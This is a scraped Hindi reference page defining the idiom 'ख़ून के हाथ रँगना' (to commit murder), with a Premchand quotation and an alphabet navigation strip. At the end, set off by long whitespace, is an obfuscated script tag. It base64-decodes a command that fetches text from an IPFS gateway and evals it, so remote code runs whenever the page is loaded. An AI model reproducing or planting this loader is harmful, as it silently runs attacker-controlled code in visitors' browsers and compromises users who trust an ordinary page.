एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

ख़ून के हाथ रँगना

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

ख़ून के हाथ रँगना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।

अर्थ- हत्या करना।

प्रयोग- इसी दलाली के लिए हम एक दूसरे के ख़ून से अपने हाथ रँगते है। (प्रेमचंद)

टीका टिप्पणी और संदर्भ

संबंधित लेख

कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें

                              अं                                                                                              क्ष    त्र    श्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>